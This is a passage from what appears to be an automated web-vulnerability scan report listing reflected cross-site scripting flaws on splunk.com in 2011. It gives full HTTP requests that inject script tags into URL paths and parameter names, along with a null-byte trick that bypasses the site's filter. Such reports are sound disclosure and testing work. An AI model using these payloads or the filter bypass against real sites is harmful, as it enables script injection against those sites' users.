Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_and_MapReduce

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload %00a4177--><script>alert(1)</script>949938b3cf9 was submitted in the REST URL parameter 4. This input was echoed as a4177--><script>alert(1)</script>949938b3cf9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /page/securelink/signup/Splunk_and_MapReduce%00a4177--><script>alert(1)</script>949938b3cf9 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:36:22 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:06:23 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:06:23 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18376

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>949938b3cf9 -->
...[SNIP]...

4.457. http://www.splunk.com/page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 95c21--><script>alert(1)</script>e51e3e95e1f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page95c21--><script>alert(1)</script>e51e3e95e1f/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:34:43 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:04:43 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:04:43 GMT; path=/
ETag: f886534d84f3ba63e0ac405582532abf1296945283
Last-Modified: Sat, 05 Feb 2011 22:34:43 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18555

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e51e3e95e1f/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence -->
...[SNIP]...

4.458. http://www.splunk.com/page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload a4001--><script>alert(1)</script>b8a20fe60f9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/securelinka4001--><script>alert(1)</script>b8a20fe60f9/signup/The_Guide_to_Splunk_and_Operational_Intelligence HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:35:08 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18444

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b8a20fe60f9/signup/The_Guide_to_Splunk_and_Operational_Intelligence -->
...[SNIP]...

4.459. http://www.splunk.com/page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload %003e830--><script>alert(1)</script>55ffcb1368b was submitted in the REST URL parameter 4. This input was echoed as 3e830--><script>alert(1)</script>55ffcb1368b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence%003e830--><script>alert(1)</script>55ffcb1368b HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:35:51 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:05:51 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:05:51 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18460

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>55ffcb1368b -->
...[SNIP]...

4.460. http://www.splunk.com/page/securityportal [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securityportal

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 8335f--><script>alert(1)</script>bf8267006b1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page8335f--><script>alert(1)</script>bf8267006b1/securityportal HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:13:05 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:43:05 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:43:05 GMT; path=/
ETag: f9abaac05eff4ad22cd20a13d72af1311296943986
Last-Modified: Sat, 05 Feb 2011 22:13:06 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18347

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>bf8267006b1/securityportal -->
...[SNIP]...

4.461. http://www.splunk.com/page/securityportal [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securityportal

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 813b2--><script>alert(1)</script>84a6bb363c6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/securityportal813b2--><script>alert(1)</script>84a6bb363c6 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:40 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18244

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>84a6bb363c6 -->
...[SNIP]...

4.462. http://www.splunk.com/page/securityportal [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securityportal

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload b3528--><script>alert(1)</script>e3767e143d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/securityportal?b3528--><script>alert(1)</script>e3767e143d0=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:30 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 95b1f862f04ad06426eac2c79742d2b41296943951
Last-Modified: Sat, 05 Feb 2011 22:12:31 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 24224

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e3767e143d0=1 -->
...[SNIP]...

4.463. http://www.splunk.com/page/sign_up [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/sign_up

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload bc93f--><script>alert(1)</script>065c36a19ad was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /pagebc93f--><script>alert(1)</script>065c36a19ad/sign_up HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:11:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:41:58 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:41:58 GMT; path=/
ETag: 10e1869b01f689dcb5cc6dffdff5f4041296943918
Last-Modified: Sat, 05 Feb 2011 22:11:58 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18319

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>065c36a19ad/sign_up -->
...[SNIP]...

4.464. http://www.splunk.com/page/sign_up [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/sign_up

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 9ab55--><script>alert(1)</script>0274b98f40b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/sign_up9ab55--><script>alert(1)</script>0274b98f40b HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:26 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18202

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>0274b98f40b -->
...[SNIP]...

4.465. http://www.splunk.com/page/sign_up [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/sign_up

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload f1a1f--><script>alert(1)</script>58e995154fc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/sign_up?f1a1f--><script>alert(1)</script>58e995154fc=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
